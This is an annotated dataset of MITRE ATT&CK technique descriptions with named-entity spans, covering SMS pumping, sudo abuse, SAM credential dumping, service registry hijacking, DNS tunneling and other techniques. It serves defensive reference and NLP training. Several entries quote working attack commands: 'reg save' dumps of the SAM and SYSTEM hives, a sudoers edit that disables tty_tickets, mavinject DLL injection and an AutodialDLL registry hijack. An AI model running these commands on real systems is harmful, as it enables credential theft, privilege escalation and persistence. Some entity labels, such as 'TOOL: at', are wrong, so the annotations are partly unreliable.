{"text": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability. SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.", "spans": {"SYSTEM: AWS": [[708, 711]], "ORGANIZATION: Amazon": [[721, 727]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.003"}}
{"text": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, <code>tracert</code>, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", "spans": {"TOOL: Ping": [[176, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016.001"}}
{"text": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>. In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "spans": {"SYSTEM: Linux": [[198, 203]], "TOOL: at": [[1044, 1046]], "FILEPATH: /var/db/sudo": [[1053, 1065], [2161, 2173]], "FILEPATH: /etc/sudoers": [[1415, 1427], [2629, 2641]], "SYSTEM: macOS": [[2753, 2758]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.003"}}
{"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.003"}}
{"text": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578"}}
{"text": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.\n\nCompromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.", "spans": {"SYSTEM: SOHO": [[141, 145]], "SYSTEM: Access": [[226, 232]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.008"}}
{"text": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. \n\nMalvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.", "spans": {"TOOL: at": [[1076, 1078]], "TOOL: route": [[1468, 1473]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.008"}}
{"text": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069"}}
{"text": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114"}}
{"text": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.", "spans": {"SYSTEM: SAM": [[90, 93], [182, 185], [210, 213], [354, 357], [444, 447], [557, 560], [730, 733]], "SYSTEM: Windows Registry": [[155, 171]], "TOOL: gsecdump": [[500, 508]], "TOOL: Mimikatz": [[511, 519]], "SYSTEM: Registry": [[587, 595]], "TOOL: Reg": [[601, 604]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.002"}}
{"text": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: DNS": [[374, 377]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.002"}}
{"text": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "spans": {"SYSTEM: BIOS": [[65, 69], [340, 344]], "SYSTEM: UEFI": [[145, 149]], "SYSTEM: EFI": [[185, 188], [352, 355]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.001"}}
{"text": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1594"}}
{"text": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts .\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google. In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API . Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "spans": {"TOOL: PowerShell": [[395, 405]], "SYSTEM: Exchange": [[468, 476]], "SYSTEM: Office 365": [[481, 491]], "SYSTEM: Azure": [[504, 509], [724, 729]], "SYSTEM: Google Cloud": [[531, 543]], "SYSTEM: API": [[562, 565], [740, 743], [1170, 1173]], "URL: https://cloudidentity.googleapis.com/v1/groups": [[763, 809]], "ORGANIZATION: Google": [[863, 869]], "SYSTEM: AWS": [[874, 877], [1140, 1143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069.003"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. \n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters</code> contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\n\n<code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code>\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.", "spans": {"SYSTEM: Registry": [[70, 78], [134, 142], [369, 377], [478, 486], [639, 647], [805, 813], [1267, 1275], [1298, 1306], [1850, 1858]], "SYSTEM: Windows": [[307, 314]], "TOOL: PowerShell": [[609, 619]], "TOOL: Reg": [[624, 627]], "SYSTEM: Access": [[629, 635]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.011"}}
{"text": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: DNS": [[23, 26], [97, 100], [306, 309], [474, 477], [512, 515], [555, 558]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.001"}}
{"text": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.003"}}
{"text": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "spans": {"SYSTEM: GitHub": [[757, 763], [912, 918], [1124, 1130], [1168, 1174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195.001"}}
{"text": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.", "spans": {"SYSTEM: SSL": [[33, 36], [89, 92], [508, 511], [1208, 1211], [1298, 1301]], "SYSTEM: TLS": [[37, 40], [93, 96], [512, 515], [1212, 1215], [1302, 1305]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.004"}}
{"text": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.", "spans": {"SYSTEM: DNS": [[53, 56], [158, 161], [287, 290], [351, 354], [411, 414], [495, 498], [511, 514], [537, 540], [575, 578], [698, 701]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.002"}}
{"text": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.\n\nOn network devices, adversaries may wipe configuration files and other data from the device using Network Device CLI commands such as `erase`.", "spans": {"SYSTEM: MBR": [[371, 374]], "SYSTEM: SMB": [[722, 725]], "SYSTEM: Windows": [[726, 733]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1561"}}
{"text": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records. DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.", "spans": {"SYSTEM: DNS": [[58, 61], [319, 322], [434, 437], [515, 518], [606, 609], [643, 646], [767, 770], [832, 835], [847, 850], [882, 885], [965, 968], [1009, 1012], [1164, 1167], [1188, 1191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.004"}}
{"text": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. A cloud metadata API has been used in at least one high profile compromise.\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "spans": {"SYSTEM: API": [[62, 65], [179, 182], [535, 538], [677, 680], [838, 841], [1136, 1139], [1228, 1231]], "TOOL: at": [[698, 700], [1232, 1234]], "IP_ADDRESS: 169.254.169.254": [[1250, 1265]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.005"}}
{"text": "An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization. A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.", "spans": {"ORGANIZATION: Apple": [[614, 619], [741, 746], [865, 870]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.002"}}
{"text": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.", "spans": {"SYSTEM: Group Policy": [[38, 50], [251, 263], [734, 746], [934, 946]], "SYSTEM: Active Directory": [[331, 347]], "TOOL: PowerShell": [[610, 620]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1615"}}
{"text": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.", "spans": {"TOOL: at": [[231, 233]], "SYSTEM: BIOS": [[397, 401], [594, 598]], "SYSTEM: MBR": [[456, 459], [498, 501], [801, 804], [875, 878]], "SYSTEM: UEFI": [[1010, 1014], [1210, 1214]], "SYSTEM: EFI": [[1116, 1119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.003"}}
{"text": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. \n\nSome adversaries may also use Automated Collection on removable media.", "spans": {"TOOL: cmd": [[340, 343]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1025"}}
{"text": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.", "spans": {"ORGANIZATION: Microsoft": [[95, 104], [216, 225], [553, 562]], "SYSTEM: Windows": [[144, 151]], "FILEPATH: C:\\Windows\\system32\\mavinject.exe": [[435, 468]], "TOOL: at": [[1055, 1057]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.013"}}
{"text": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.", "spans": {"TOOL: cmd": [[299, 302]], "SYSTEM: Windows Registry": [[511, 527]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1074.001"}}
{"text": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.", "spans": {"SYSTEM: Registry": [[79, 87]], "SYSTEM: Windows Registry": [[392, 408]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.005"}}
{"text": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.", "spans": {"SYSTEM: SSL": [[35, 38], [91, 94], [667, 670]], "SYSTEM: TLS": [[39, 42], [95, 98], [671, 674]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.003"}}
{"text": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {"TOOL: at": [[51, 53]], "SYSTEM: Office": [[357, 363]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565.001"}}
{"text": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further,  adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices. \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.002"}}
{"text": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB. IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.", "spans": {"SYSTEM: Outlook": [[165, 172], [198, 205], [275, 282], [361, 368], [406, 413], [454, 461], [525, 532], [580, 587], [654, 661], [717, 724]], "FILEPATH: C:\\Users\\": [[624, 633], [673, 682]], "ORGANIZATION: Microsoft": [[707, 716]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114.001"}}
